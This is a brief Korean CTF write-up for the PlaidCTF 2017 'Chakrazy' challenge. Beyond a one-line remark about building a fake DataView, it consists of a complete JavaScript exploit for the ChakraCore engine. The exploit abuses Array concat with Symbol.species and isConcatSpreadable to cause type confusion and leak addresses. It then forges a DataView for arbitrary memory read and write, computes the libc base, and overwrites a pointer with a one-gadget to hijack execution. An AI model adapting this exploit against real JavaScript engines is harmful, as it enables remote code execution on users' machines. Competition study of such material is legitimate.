Pwnable/CTF

PCTF 2017 Chakrazy

HSr00t 2018. 12. 25. 00:14

FakeDataview 만들어서 익스하면된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
function set_dv(arr,lo,hi) {
arr[0= 56
arr[4= (lo - 574280//+0x3c000
arr[5= hi
arr[10= lo
arr[11= hi 
arr[12= lo //ArrayBuffer
arr[13= hi 
arr[14= lo //buffer
arr[15= hi
}
 
function leak(addr) {
    var a = [1,2,3,4];
    var b = [5,6,7,8];
    var c = new Function();
    c[Symbol.species] = function() {
            p = [9,10,11,12];
            return p;
    };
    a.constructor = c;
    b.__defineGetter__(Symbol.isConcatSpreadable,function() {
            p[0= addr;
            b[0= addr;
            return true;
    });
    return a.concat(b);
}
 
function leak2(addr) {
        var a = [1,2,3,4];
        var b = [5,6,7,8];
        var c = new Function();
        c[Symbol.species] = function() {
                p = [9,10,11,12];
                return p;
        };
        a.constructor = c;
        b.__defineGetter__(Symbol.isConcatSpreadable,function() {
                p[0= addr;
                b[0= addr;
                return true;
        });
        return a.concat(b);
}
 
var result = new Uint32Array(2);
var ab_one = new ArrayBuffer(8);
var dv_one = new DataView(ab_one);
var ab_temp = leak2(ab_one);
 
result[0= ab_temp[0];
result[1= ab_temp[1];
te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
console.log(te);
 
var dv = [0];
for(var i=0;i<16;i++)
        dv[i] = 0x0;
 
var dv_temp = leak(dv);
dv_temp[0= dv_temp[0- 0x84548+0x30//- 0x90518
result[0= dv_temp[0];
result[1= dv_temp[1];
var te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
console.log(te);
dv[0= 0;
dv[2= dv_temp[0]+0x10;
dv[3= dv_temp[1];
dv[4= 0x38;
dv[6= dv_temp[0];
dv[7= dv_temp[1];
dv[8= 0x30;
dv[10= ab_temp[0];
dv[11= ab_temp[1];
dv[14= (dv_temp[0]+0x84548-0x30);
dv[15= dv_temp[1];
 
var a_attack = [];
for(var i=0;i<0x10;i++)
    a_attack[i] = i;
 
var b = [dv_temp[0],dv_temp[1]];
var c = new Function();
c[Symbol.species] = function() {
        p = [9,10,11,12];
        return p;
};
a_attack.constructor = c;
b.__defineGetter__(Symbol.isConcatSpreadable,function() {
        p[0= {};
        return true;
});
var temp = (a_attack.concat(b))[8];
var clib = [0,0];
clib[0= dv_one.getUint32.call(temp,0,true- 0xd5db40;
clib[1= dv_one.getUint32.call(temp,4,true);
//libc = clib[0] + 0x1628000
var te = '0x'+(clib[1].toString(16)) + (clib[0]).toString(16)
console.log(te);
dv_one.setUint32.call(temp,16,clib[0]+0x1628000+0xf1147,true);
dv_one.setUint32.call(temp,20,clib[1],true);
dv_one.setUint32.call(temp,0,dv_temp[0]+0x84548-0x30+16-0xa0,true);
dv.hasOwnProperty('AAAA');
cs